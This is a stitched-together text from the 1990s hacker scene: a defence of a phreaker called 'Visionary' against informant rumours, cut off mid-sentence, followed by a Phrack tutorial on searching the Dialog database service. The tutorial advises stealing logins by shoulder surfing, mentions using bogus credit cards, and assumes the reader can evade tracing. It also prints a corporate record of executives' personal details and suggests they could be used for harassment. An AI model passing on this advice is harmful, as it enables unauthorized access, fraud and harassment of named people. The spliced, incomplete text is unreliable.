Over the years Visionary has been the target of many a accuation. Many of those who know Visionary, know he is no narc, and never has been. Visionary, feels that people have been to quick to judge him, and he asks to just keep an open mind. The rumors about him are bolshit, as a number of facts will show. The facts which are a lot more credible stand a lot stronger than the rumors. 1. Many people Visionary has associated with have not been busted. This statement may not mean a thing, but it's going to be ovious if he is a narc a lot of his friends would go down. Visionary talks to everybody, therefore you know that he will know some who have been busted. But the number are few, and when you talk to several who have known him, they will admit no Secret Service or FBI have shown up to get them. Logic to some may not dictate reality, but it makes sense and has proven to be true. Take a look at people like, Fourth Reich, Gandalf, Lord Sigath, Hellmaster, The Phlaw, Renegade and Weirdo. All the people have been around for a long time, and associated with Visionary. So ask yourself, why, if Visionary is a narc are they not busted? The answer is plane as day.

There is one major thing that needs to be covered in this file. The event I am refering to happened during the sumer of 1990. It waa around the time of the 702 bridge. There was a guy going by the handle of Storm Shadow around. Storm Shadow lives in the New York area and Storm ShadowVisionary first knew Storm Shadow in late 1989. Some people that knew this guy would say he was a bolshit artist, who didn't come through. Storm Shadow had aproached several people he knew with a deal involving information providers. The deal was he worked for a private investigator. The type of work Storm Shadow clamed to be doing was nonhacker related cases. He clamed it was just people he needed to obtain records on various things such as, Social Security records, local usage dialing records, CBI and TRW records, LD records as well as other things. He made offers to a number of people like Visionary, Toxic Roadkill, Code of Honor, Nemesis, Joe Friday, Billy The Kid as well as others to work for him. When he tried to get Visionary involved, he didn't have a lot for it. Storm Shadow asked Visionary to find people to help him out. Visionary introduced Storm Shadow to a few people explaining what Storm Shadow's problem. At this point Visionary just left it up to the people. One thing that should be understood, is Visionary had no notion that Storm Shadow wasn't anything beyond what he said. Some of the people like Toxic Roadkill, Joe Friday and Code of Honor did do some work for Storm Shadow. This thing went on for a few months ooff and on from late 1990 into 1991.

Recently certain things came to light regarding Storm Shadow. In the fall of 91, there were a few people busted in the New York area. Storm Shadow and a guy known as Renegade Hacker were among the people. It appears Storm Shadow is a witness for the government against some of the others busted. It's been thought by a couple, that Storm Shadow was gathering evidence against the people he tried to get working for him. This in itself didn't make Visionary look very good, as he introduced Storm Shadow to a number of people. You see once again, Visionary is going to get blamed wrongfully for something not in his control.

Gentleman, after reading the accounts above you may understand Visinary's anger when someone calls him a narc. Rather by his own falt, or just the manor of things, Visinary has not been treated fairly by the HP communinity. It's not fair that people look at him differently. Just because he may not be like everyone else is no excuse.

Recently, people have been spreading a lot of rumors without hearing Visionary's side. Recently, people will produce what they call evidence without allowing him to explain.

A lot of statements, and information have been passed among people, that when you look at it means nothing. People say they've got Visionary on tape admitting he's a narc. Visionary has bolshited people before, and the plane fact is someone was taping him. People will bring up the fact Visionary has not been busted. Just because the guy hasn't been busted doesn't mean anything. Visionary is not always active, therefore isn't always at risk. Some people t will wonder why someone Visionary's age, 27 years old is in this stuff. Some of the most wellknown hackers are in their twentys, and some are even in the early thirtys.

One major fact, that has been brought up about Visionary will be addressed now. Some people, with good reason, may want to know the reason behind this major fact regarding Visionary. One question, that has come up from time to time, is what does Visionary specialize in relation to hacking. Some wonder what Visionary does in the hack/phreak world. Gentleman remember Visionary is handicapped as well as visually impaired. Being blind kind of makes his resources kind of limited in reading files. He uses an Echo Speach Card with limited software. Not just any program will work with the speach card. The Echo takes text and speaks it OK to a point. But when reading stuff from a text file, the words are not spoken properly. Some symbols aren't pronounced therefore making things even harder. When on a Unix system it's rough because the commands aren't spoken like they should be. The main thing Visionary is good at is the social enginering aspect.

Let's keep in mind no matter how someone goes about learning, it does make them any different different. Visionary should be looked upon as a shady character just because he may be curious. He has to learn by asking questions, where all of us take the ability of reading for granted.

The reason this file is being widely spread, is in hopes some of the slandering of Visionary's name can stop. "The computer and the telephone are my best sources of entertainment. I enjoy hacking as a hoby and do not appreciate the continuing rumors people spread." fter

The main thing here, is every time some strange event happens in the seen, people point the finger at Visionary. Let's stop the shit, let's stop assuming he's the guilty one. Recently Visionary was blamed for a bunch of people being

Searching The Dialog Information Service

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 18 of 27

****************************************

Searching the Dialog Information Service

By Al Capone

(alcapone@mindvox.phantom.com)

This file will show you how to use the Dialog Information Service. It is divided into the following parts:

<> ‑‑‑ Background Information

<> ‑‑‑ Accessing Dialog

<> ‑‑‑ What to do when you're in

<> ‑‑‑ Searching and Search Strategy

As loyal Phrack readers may recall, there have been two articles written about Dialog already: Control‑C wrote "Inside Dialog" in Issue 9 and much later Brian Oblivion wrote "The Complete Guide to The DIALOG Information Network" in Issue 39. Why another one? The online world changes so rapidly that things written just a couple of years ago can be out of date today. What differentiates this file from its two predecessors is that this file is: less 'manual derived', current (as of 11/93), more hands on, and hopefully is easier to read and put to immediate use.

To obtain additional information about Dialog contact:

Dialog Information Service Worldwide Headquarters 3460 Hillview Avenue

P.O. Box 10010

Palo Alto, CA 94303‑0993 Phone: 1‑800‑3‑DIALOG (800‑334‑2564)

<> Background Information

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"The United States is turning from an industrial age nation into an information age nation," U.S. Senator Gary Hart, The Tonight Show, 1993.

From Big Brother creating dossiers on subversives to credit reporting agencies determining whether or not you get your credit card application approved, it all boils down to the more you know, the better you are able to succeed in society.

Following through a hacker progression, huge databases have amassed providing online access to a seemingly infinite number of sources used for anything imaginable. Lawyers can access these databases to research such things as precedents for court cases. A graduate student trying to earn his or her masters degree can gain access to research a thesis, companies can get information on competitors, and so on. Databases are distributed into two categories: Research and Entertainment.

Gaining prominence in the early 1980's, entertainment databases were comprised of the big two: The Source and Compuserve. Another prominent service, the Dow Jones News Retrieval Service was part research and part entertainment. A few other less significant databases also existed at this time.

The Source was a subsidiary of the investment firm of Welsh, Carson, and Stowe. It provided some seven hundred and fifty features and services including electronic mail. Investment features included a discount brokerage firm, and a full range of stock, bond, and commodities information, with an option to search portfolios. It also allowed you to search other fellow users by location, account number, or interest. The Source was subsequently bought out by Compuserve and was shutdown on August 1, 1989.

Compuserve is a division of H&R Block. It is the largest service worldwide offering some four hundred thousand subscribers a variety of news and financial information. It also offers access to Valueline and the Standard and Poor databases, which are online business references. It also has online games and a travelling service.

The Dow Jones News/Retrieval is a part of the Wall Street Journal and provides online abstracts of printed papers published by Dow Jones and Co. It now includes profiles of over forty six hundred companies and has diversified to provide sports coverage.

Today, most of you are aware of the myriad of other entertainment online services such as Genie, Prodigy, America OnLine (AOL), etc. All of these so called entertainment services have made attempts at offering various business and research services to their users. Its interesting to sit back and watch how each one tries to out‑do the other. You will find that some databases are offered through some of these entertainment services as well as dialog and perhaps other commercial services. Be aware that the costs may differ substantially among them for the same exact database. If you are paying for access, be sure to shop around if the particular database is popular.

If you travel to your local university library you will notice computer databases to which you can access such things as doctoral dissertations (get brownie points by telling your professor how interesting his/her thesis was), medical research (look up that newly acquired disease that your doctor mumbled that you now have), even national newspaper articles. This is just another source of information at your disposal (aside from books that is). Popping up more and more in libraries are "fee based research services". These are simply professional librarians who use research databases to retrieve the information you are too ignorant or stupid (or don't have enough time) to retrieve yourself. Fees range from their cost only (ie, online charges) to upwards of $100. per hour of their time spent PLUS any online charges.

As you can probably deduce, it would be cost effective to use every possible free source of information before turning to online searchers. I recommend exhausting all the in‑library databases before going online simply because the in‑library databases are usually available on CD‑ROM and you are not charged an hourly rate to use it. And don't forget about all those free Internet FTP sites, Gopher, WAIS, WWW, and even usenet! Most librarians are just starting to pay attention to and make use of the Internet. However once you have read this article you will be well versed on one of the major databases that is being used by these research services. If you run into an online database

in your library, I suggest that you know what you are doing, as librarians are very skeptical due to the fact that you are using their money to do your searching.

Running a research service seems to be a good idea. Not only does it provide a "legal" form of hacking to satisfy your thirst for information, there is definitely a substantial amount of money to be made. Entrepreneur magazine lists it as being in the top ten of prospective business opportunities. You are professionally known as an information broker, a degree in Library Studies (a traditional four year degree) helps, and if you don't decide to pursue the research angle, you could then become a librarian (how exciting).

One of the research databases commonly used is the Dialog Information Service. Dialog is a subsidiary of Lockheed Missile and Space Corporation. It provides access to more than three hundred databases containing over one hundred million records. The significance of this service is that it joins all 300+ databases together, you can skip from one database to another simply by 'beginning' the database. In the past, the user would have to individually call each database and pay an exorbitant charge to use it. Dialog eliminates this and keeps all the databases together. Because of the vastness, all sources are summarized with keyword searches. Dialog has substantial signup charges ($295. last time I asked them) in addition to the fact that

each individual database charges an hourly rate. Each rate varies according to things like the relative importance of the topic, cost to put the information online, and the main determining factor: what they think the users will pay. Some database providers seem to defy any logical reasoning as to how they determined the cost to access their information.

Dialog can be accessed in about a dozen different ways. It is available through Westnet, Wangpac, Dunsnet, IBM Information Network, and TWX‑TELEX. The following chart lists some other alternatives along with connection rates:

Ways to Access Dialog with Connection Rates

Table 1

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Service Rate per Hour (U.S.Dollars) |

| ‑‑‑‑‑‑‑

|

| Dialnet Direct Dial (Palo

| Alto Dialnet Nodes).................................$ 4.00 |

|

| Dialnet‑In Watts (Direct 800#)........................$24.00 |

|

| GEIS‑Marknet *......................................25.00 |

|

| GNS (Global Network Services ‑

| BT Tymnet) **....................................12.00 |

|

| Internet Gateway..(ANSnet)............................$ 4.20 |

|

| Journal of Commerce (JOC and

| KRU Network) ***...................................24.00 |

|

| Sprintnet (Formerly Telenet)..........................$12.00 |

|

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* = Available for users in Australia, New Zealand, Hong Kong, Singapore, and the Philippines.

** = Available in Europe.

*** = Available in the Far East and Asia.

<> ‑ Accessing Dialog

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following three scenarios will show you how to log in to Dialog to begin your searching. [] denunciates what you should type in:

1. ‑ Accessing Dialog through the Internet via the telnet command:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ Telnet dialog.com

DIALOG INFORMATION SERVICES

PLEASE LOGON:

?XXXXXXXX [Enter the Dialog Usernumber]

ENTER PASSWORD:

?XXXXXXXX [Enter the Dialog Password]

You're In!

2. ‑ Accessing Dialog through Tymnet

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[a]

please log in:[dialog]

DIALOG: call connected

DIALOG INFORMATION SERVICES

PLEASE LOGON:

?XXXXXXXX [Enter the Dialog Usernumber]

ENTER PASSWORD:

?XXXXXXXX [Enter the Dialog Password]

You're In!

3. ‑ Accessing Dialog through Sprintnet

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Enter] [Enter] [Enter]

TELENET

123 45K

@ [41548]

415 48 connected

DIALOG INFORMATION SERVICES

PLEASE LOGON:

?XXXXXXXX [Enter the Dialog Usernumber]

ENTER PASSWORD:

?XXXXXXXX [Enter the Dialog Password]

You're In!

Here let me say a few things about getting a correct logon/password combination. In order to familiarize yourself with the system, Dialog gives you a starter kit which includes your legit logon/password, along with some other perks like some free online time. This online time can be used the minute you get your starter kit. You may also illicitly obtain a correct logon/password combination using such an elaborate technique as looking over the shoulder of the person typing it in (shoulder surfing).

Of course Dialog will immediately revoke the 'hacked' account the minute that the "scheme" is uncovered, but at least you will have by then done your research and quietly slipped away. Keep in mind that network nodes send port identifiers and if you are using a bogus credit card, then you might be in some hot water should they decide to track you down. It is assumed that if you intend to gain unauthorized access, you are somewhat versed in the various methods to negate the 'tracing' capability of the network(s).

Dialog offers 6 'free' accounts to prospective and current subscribers. These are restricted accounts which provide access to their ONTAP training databases. There are two to three dozen databases which they scale down to include a fraction of the number of records and/or contain dated records from years ago. You search these databases the same way as the full‑scale ones. The purpose is for you to verify your search strategy, and once you feel confident that your search strategy will pull up the info you want (not too many records yet not too little), you use your dialog account to access the same database at the going rate. This way, you don't lose lots of cash if you screw up, because you made all your mistakes using the free accounts. Since I use the free accounts on occasion, I don't think it would be a good idea to list them in this file. Suffice it to say that Dialog is happy to provide the phone number to you that has the pre‑recorded userid and password combinations for the ONTAP accounts. Note that these passwords are changed every month, with new passwords being provided at the first of each month and that only one person may use each account at a time.

Also note that Dialog occasionally offers a 'free file of the month' in which you use your normal Dialog account to do searches in the particular database. They usually allow you to rack up to $50 or sometimes an hour's worth of search charges ‑‑ I guess that is Dialog's definition of 'free'. The only charges you pay when you access any free files of the month are telecommunications charges (see Table 1 above). Once you leave the free file of the month, you will start to incur normal Dialog online time charges.

<> What to do When You're In

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Once you have gained access to Dialog the system will show you something like this:

Welcome to DIALOG

Dialog level 29.01.04B

Logon file227 22may93 12:27:30

COPR. (c) DIALOG INFORMATION SERVICES, INC. ALL RIGHTS RESERVED. NO CLAIM TO ORIG. U.S. GOVT. WORKS.

***Equal Employment Opportunity (EEO) Data Available in CENDATA Menu 22.7

***Preformatted Patent REPORTS are now available for File 28,351

New: CINCINATTI/KENTUCKY POST (PAPERS) (File 722)

New: ST. PETERSBURG TIMES (File 735)

New: WICHITA EAGLE (PAPERS) (File 723)

>>> Enter BEGIN HOMEBASE for Dialog Announcements <<<

>>> of new databases, price changes, etc. <<<

>>> Announcements last updated 07may93 <<<

SYSTEM:

The "SYSTEM:" prompt directs you to pick a file. A file in this case is the number to a database. In the above welcome message you will notice that the St. Petersburg Times appears in File 735. This simply means that if I wanted to look up an article in the St. Pete Times, I would type in "b735" at the "SYSTEM:" prompt. The "b" stands for begin, as if you are beginning in that database. Like I said earlier, each database charges a different rate which typically depends on the 'importance' of the information. Therefore, it will probably charge more for biochemistry information than for newspaper articles. The following list shows costs for the some of the "A" databases in the Dialog system.

HOMEBASE is the Dialog tutorial. It provides all sorts of help needed by the beginner hacker...errr user. Homebase lists announcements, dates and locations of training seminars ($70 to $140 for half/full day seminars, I have been to a few for dialog and some of their individual databases and highly recommend going especially if they are offered for free), and lists dialups in various area codes.

Individual Dialog databases by the Letter A

Table 2

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| File Number | Database Name | Rate per Minute/Hour |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 15 | ABI/Inform | 2.20/132.00 | | 88 | Academic Index | 1.40/84.00 | | 108 | Aerospace Database | 1.50/90.00 | | 163 | AGELINE | 1.00/60.00 | | 581 | Agribusiness U.S.A. | 1.60/96.00 | | 10 | Agricola 1979‑present | .75/45.00 | | 110 | Agricola 1970‑1978 | .75/45.00 | | 203 | Agris International | 1.00/60.00 | | 306 | The Agrochemicals Handbook | 4.41/265.00 | | 157 | AIDSline 1980‑ | .60/36.00 | | 708 | Akron Reacon Journal | 1.60/96.00 | | 38 | America:History and Life | 1.08/65.00 | | 625 | America:Banker Full Text | 2.00/120.00 | | Banknews | American Banker News | 2.00/120.00 | | 460 | American Library Directory | 1.25/75.00 | | 236 |American Men and Women of Scien.| 1.58/95.00 | | 305 | Analytical Abstracts | 2.66/160.00 | | 257 | API Energy Business News | 1.60/96.00 | | 897 | API Energy Business News | 1.60/96.00 | | 354 | APILIT (non‑subscriber) | 3.08/154.00 | | 954 | APILIT (Subscriber) | 1.83/110.00 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This list continues for some fifteen more databases (those that start with the letter A). If I were to list the entire database list, this covers some ten pages of documents, not withstanding that it's constantly being revised/updated. If you look at my example in logging on, the St. Petersburg Times was recently added as a database. This would not reflect in my database list as I have compiled, outdating it before I even listed it. I suggest that you contact Dialog at the phone/address at the beginning for an updated list of databases. The document is called "Price List". However Dialog has online an entire list of all its databases. This list is located in File 411.

Also contained in this list is the Dun and Bradstreet databases (Files 514 through 522). Dun and Bradstreet provides corporate information to subscribers. It can be used for anything from competitive intelligence on another business to credit reports on prospective clients to background intelligence. File 519 contains full disclosure on financial information on a company. Each record costs $106. (at this time). The other databases are significantly cheaper, but not by much. The way D&B gathers this information is they send out employees to "interview" various corporations and their officers and simply translate the info into a record which they then market. One thing about each database is that they each contain their own language within the general Dialog language (which will be discussed further in this file). In Dun and Bradstreet you can search by company, PIC and SIC codes (these are simply manufacturing categories which the searcher can use to find companies. Example: if I wanted to find the top ten companies in long‑distance services, I could use a PIC code), or various other categories.

The following is an exploration of Phrack's old buddies, BellSouth:

$ s dp=10‑667‑8006

$ t s2/co/all

(The "dp" command displays all subsidiaries of a company (only the direct subsidiaries, the ones that report directly to BellSouth. The result is the following:)

Company

Name

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mobil Communications Corp

Bellsouth DC Inc

American Cellular Communications

Bellsouth Enterprises Inc

Bellsouth Financial Services

Bellsouth Advertising & Publishing

Mobile Communications Corporation

Mobilecomm of Nashville, Inc.

Bellsouth Telecommunications

Here is the record disclosure from File 516: D&B Market Identifiers:

2655560 DIALOG File 516: D&B Duns Market Identifiers Bellsouth Corporation

1155 Peachtree St Ne

Atlanta, GA 30367‑6000

TELEPHONE: 404‑249‑2000

COUNTY: Fulton MSA: 0520 (Atlanta, GA)

REGION: South Atlantic

BUSINESS: Telecommunications Services

PRIMARY SIC:

4813 Telephone communication, except radio

48130000 Telephone communication, except radio, nsk 48130102 Local telephone communications

48130103 Long distance telephone communications

48130104 Voice telephone communications

SECONDARY SIC(S):

4812 Radiotelephone communication, nsk

48129901 Cellular telephone services

48129902 Paging services

2741 Miscellaneous publishing, nsk

27410304 Directories, telephone: publishing only, not printed on site 5065 Electronic parts and equipment, nec, nsk

50650100 Telephone and telegraphic equipment

50650103 Telephone equipment

LATEST YEAR ORGANIZED: 1983 OWNER CHANGE DATE: NA STATE OF INCORPORATION: GA DATE OF INCORPORATION: 10/13/1983 ANNUAL SALES REVISION DATE: 04/19/1993

LATEST TREND BASE YEAR YEAR YEAR

1991) (1989)

SALES $ 15,201,600,000 $ 14,445,500,000 $ 13,600,000,000 EMPLOYEES TOTAL: 97,100 96,975 102,000 EMPLOYEES HERE: 982

SALES GROWTH: 6 NET WORTH: $ 11,996,800,000

EMPLOYMENT GROWTH: ‑5

SQUARE FOOTAGE: 480,000 OWNED

NUMBER OF ACCOUNTS: NA

ACCOUNTING FIRM: Coopers & Lybrand Atlanta GA

BANK: Chase Manhattan Bank NA Inc BANK DUNS: 00‑698‑1815

THIS IS:

A HEADQUARTERS LOCATION

AN ULTIMATE LOCATION

A CORPORATION

A PUBLIC COMPANY

A MILLION DOLLAR DIRECTORY COMPANY

DUNS NUMBER: 10‑667‑8006

CORPORATE FAMILY DUNS: 10‑667‑8006

CHAIRMAN: Clendenin, John L /Chb‑Pres‑Ceo PRESIDENT: Clendenin, John L /Chb‑Pres‑Ceo VICE PRESIDENT: O Neill, Robert W /Vp Assoc Gen Counsel Markey, David J /Vp‑Govt Affairs Fiedler, Mark L /Vp‑Corp Development Gunter, John R /V Pres‑Corp Responsibility & C Casey, Patrick H /V Pres‑Comptroller Yokley, Arlen G /V Pres‑Sec‑Treas SECRETARY: Yokley, Arlen G /V Pres‑Sec‑Treas TREASURER: Yokley, Arlen G /V Pres‑Sec‑Treas VICE‑CHAIRMAN: Holding, Harvey R /V Chb‑Finance & Administration McCoy, William O /V Chb

COUNSEL: Alford, Walter H /Exec V Pres‑Gen Counsel FINANCE: Holding, Harvey R /V Chb‑Finance @ Administration

RESEARCH AND DEVELOPMENT: Fiedler, Mark L /Vp‑Corp Development EXECUTIVE VICE PRESIDENT: McGuire, Raymond L /Exec V Pres‑Govt Affairs Alford, Walter H /Exec V Pres‑Gen Counsel Mauldin, Earle /Exec Vp & Cfo SENIOR VICE PRESIDENT: Reddersen, William F /Sr Vp‑Broadband Strategies

CHIEF EXECUTIVE OFFICER: Clendenin, John L /Chb‑Pres‑Ceo ADMINISTRATION: Reddersen, William F /Sr Vp‑Broadband Strategies McCoy, William O /V Chb McGuire, Raymond L /Exec V Pres‑Govt Affairs Mauldin, Earle /Exec Vp & Cfo Holding, Harvey R /V Chb‑Finance & Administration

CHIEF FINANCIAL OFFICER: Mauldin, Earle /Exec Vp & Cfo MANAGEMENT: O Neill, Robert W /Vp Assoc Gen Counsel SALES‑MARKETING VP: Gunter, John R /V Pres‑Corp Responsibility & C FINANCE VP: Casey, Patrick H /V Pres‑Comptroller ENGINEERING VP: Fiedler, Mark L /Vp‑Corp Development

Record 519 goes on and displays news and personal information on the executive officers, including the following:

At divestiture, AT&T transferred to this corporation its 100 ownership in South Central Bell Telephone Company, Southern Bell Telephone and Telegraph Company and Bellsouth Mobility Inc. Shareholders of AT&T as of Dec 30 1983 received one share of Bellsouth stock for every 10 common shares of AT&T stock. Business started 1983. The common stock is listed on the New York, Boston, Midwest, Pacific and Philadelphia stock exchanges under the symbol "BLS". As of Jan 31 1993, there were 1,286,670 shareholders of record. The majority of the outstanding common stock is owned by the general public. Officers and directors own less than 1 of the outstanding stock. ............RECENT EVENTS.........

In Jan 1992, the company and RAM Broadcasting Corporation formed a business venture to own and operate certain mobile data communications networks worldwide as well as certain cellular and paging operations in the US (Further details on file at the Woodbury, NY office of Dun & Bradstreet). During 1992, the company made several small acquisitions, principally related to cellular phone service.

On Sep 20 1991, the company acquired several properties in Indiana, Wisconsin and Illinois from McCaw Cellular Communications, Inc in exchange for $361 million, including BellSouth's interest in Rochester, NY's non‑wireline cellular provider.

On Sep 17 1991, the company completed the acquisition of Graphic Scanning Corp for an adjusted total cash purchase price of $168 million. In addition, certain liabilities of Graphic Scanning amounting to approximately $142 million were assumed by BellSouth.

On Mar 28 1991, the company acquired from GTE Mobilnet Incorporated two cellular partnerships in which it held minority interests, which resulted in BellSouth Enterprises, Inc gaining an additional 21 interest in the Atlanta‑Athens Limited Partnership and an additional 42 interest in the Lexington, Kentucky MSA Limited partnership.

........MANAGEMENT BACKGROUND........

CLENDENIN born 1934 married. 1955 Northwestern University BS. 1955‑1978 Illinois Bell Telephone Co, Chicago, IL. 1975 Vice President. 1978‑1980 Pacific Northwest Telephone Co, Seattle, WA, Executive Vice President. 1980‑1981 AT&T Vice President. 1981 Southern Bell Telephone. 1984‑present Chairman of Board, President, and CEO, Bellsouth Corporation. MCCOY born 1933. Graduate of University of North Carolina, 1955 BS, BA and MIT and 1968 MS Management. 1955‑1959 U S Marine Corps. 1959‑present BellSouth Corporation; 1993 Vice Chairman, BellSouth Corporation. YOKLEY born 1937. Graduate of Catawba College, Salisbury, NC 1959. 1959 joined subject.

MCGUIRE born 1933 married. Graduate of Mississippi College 1957 and University of Mississippi 1960. 1961‑1965 law clerk of the U S Court of Appeals, 5th Circuit and trial attorney for tax division at the Department of Justice, Washington, DC and 1966 became Assistant U S Attorney, Northern District of Mississippi. 1967 joined Southern Bell Telephone and Telegraph Company (Inc), Atlanta, GA. Mar 1985 elected to present position.

Explanation of Bellsouth search results:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WOW! All they made in sales was 15 billion dollars ‑‑ and they call hackers crooks. The data showing the news is helpful, and all the personal information could really be used for harassment purposes if necessary. Take a look at their credentials. A prospective employee could use this data to ass‑kiss a little. Their college references clearly show why the E911 document created such a fiasco in the company....

<> ‑ Searching and Search Strategy: Contrived and Free Text Searching

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are two different types of searching to find the topic you need: contrived and free text. After selecting the "file" or database number that you want, Dialog gives you a "?" as a prompt. At this point you can begin your searching.

Contrived word searches should begin offline though. The database in question will send you a thesaurus (for a fee usually) which will tell you exactly what words correlate with your topic, so that you can go directly to the topic eliminating a lot of extra online time. Keep in mind that each database has a different thesaurus so unless this database you have chosen is going to be your primary database of use down the road, then you may want to just use free text searching.

The only problem with free text searching is if your word is anywhere in an article it is counted and shown to you whether relevant or not. Imagine searching for the word "aircraft" in an aeronautical database or "student" in an educational database. The result could be apocalyptic as you would have to sort the data by its relevancy or irrelevancy. That is why you need to develop what is called a "search strategy". Although Dialog permits you to expand a too narrow search or condense a broad search, a perfect strategy will not require the use of these commands (I will discuss them later though). A perfect strategy is both effective, time efficient, and doesn't generate too many headaches.

The only things I feel that a search strategy needs to be considered a good one is the correct use of the system's language (you need to know exactly what you are typing in and why, just as with any other language Fortran, C, etc.) and a synonym dictionary. Occasionally my mind will go blank in searching through a database for a topic because once I have input the primary topic, I run out of ideas with which to draw correlations. That is why you need the dictionary. If I were searching with the word "student", I could use the word "pupil" and "scholar" as other points of venue to search with after I have looked up "student" in the dictionary. By using this technique, you are sort of using a modification of the contrived word search as the costly thesaurus does the same action as your two dollar synonym dictionary.

Beginning Your Search: The SELECT Command

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After completing the login procedure, began the database that you want to search, and viewed the welcome banner, etc. you will be shown the following message:

Set Items Description

‑‑‑ ‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

?

This question mark tells you to start your search. Functionally the Select command will search through the database looking for the terms that you have specified. The correct way to do this is as follows:

? S [term]

ex. ? S COMPUTER

Although very broad, the select command will search the entire database for the word "Computer" and will compile a total list. It will display it to you as the following:

? S COMPUTER

S1 27263 COMPUTER

After each search the S# will increment itself by one. What this does is ease in the resurrection of searching. If I ever wanted to use the word "Computer" again, all I would have to type in is: "S1" for an easy substitution. Especially when I am using CD‑ROM, I like to use a very broad topic to begin my searching, and then I will narrow it down. The word "Computer" fits this description.

Adding meaning to the SELECTion

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here I would like to talk a little about the words "and" and "or". These words are definitely the most important words to search with. Specifically they will narrow down your search because you are using one more word to help you find and article.

ex. ? S COMPUTER AND CRIME or S S1 AND CRIME 27263 S1

356 CRIME

S2 49 S1 AND CRIME

Notice how "CRIME" had 356 articles that contained its word, however when combined with the word "Computer" only had 49! This makes it very easy to narrow your search down to specifics, but not all the way as I will further explain.

Another command I would like to discuss is the "SS" command. This is an abbreviation of the Select command known as "Select Steps". What this does is break up a search into individual steps.

ex. ? SS COMPUTER AND CRIME

S4 27263 COMPUTER

S5 356 CRIME

S6 49 COMPUTER AND CRIME

This is specifically used if I want to individualize a search and use the terms for other topics. Keep in mind that the assigning of these steps and the individual searches that it must conduct may result in slower processing times thereby running up your total online bill.

When Dialog is asked to do a search, it retrieves the following in what is called fields: Title, Abstract, Descriptors, and Identifiers. The two most important fields are the descriptors and identifiers. When scanning a database that has come up with fifteen sources the easiest way to determine if these articles are worth keeping or tossing into the circular file is through the descriptors and identifiers. The "Descriptor" will in two words or less explain the entire article, which is why they are otherwise known as the controlled vocabulary terms. Identifiers, on the other hand, are the free language terms. These are the ones we can relate to on an easier plane. You can also search specifically for descriptors or identifiers as well as a lot more terms by the following commands.

Ex. S COMPUTER AND CRIME/DE

This will search for computer and will use crime as a descriptor. /ID works as well for identifiers. Other suffixes can be used as according to the following table:

Index Listing ‑ Part 1

Table 3

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Suffix | Field Name | Indexing | Examples |

|‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑

| /AB | Abstract | Word | S COMPUTER AND CRIME/AB |

| | |

| /DE | Descriptor | Word and Phrase | S COMPUTER AND CRIME/DE |

| | |

| /ID | Identifier | Word and Phrase | S COMPUTER AND CRIME/ID |

| | |

| /TI | Title | Word | S COMPUTER AND CRIME/TI |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Truncation

‑‑‑‑‑‑‑‑‑‑

Truncation permits you to search for different forms of a search term. On Dialog, the symbol is "?". For instance, if I wanted to search for a word and I didn't know its exact spelling, I would do the following:

ex. [Searching for the word Capone or Capoan, but not quite sure]

? S CAPO?

S1 122753 CAPO?

This also can be used in several other ways. For instance, plurality, or maximum number of letters following a word. Example:

ex. ? S CAPO??

This maximizes the word search at two letters past the "O".

ex. ? S CAPONE?

This finds the plurality in the word capone.

ex. ? S CAP? ?

This finds the letters between the two question marks.

Proximity and Field Operators

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Proximity operators specify the position of search terms in relation to each other within a record or field. If I wanted to search for the words "Legion" and wanted to make sure that the word "Doom" was within a certain area around it, I would use a proximity operator. For instance:

? S LEGION(3W)DOOM

932 LEGION

812 DOOM

27 LEGION(3W)DOOM

In the above example Doom was searched within three words of Legion. You can use any number in place of the three. The good thing about this proximity operator is that it searches the second word from the first on both sides. Using the above example here is a picture of it:

Doom <‑‑‑‑ 3 words ‑‑‑‑> Legion <‑‑‑‑ 3 words ‑‑‑‑> Doom

A field operator allows two words to be within a field in any order. For example:

? S COMPUTER(F)CRIME/DE

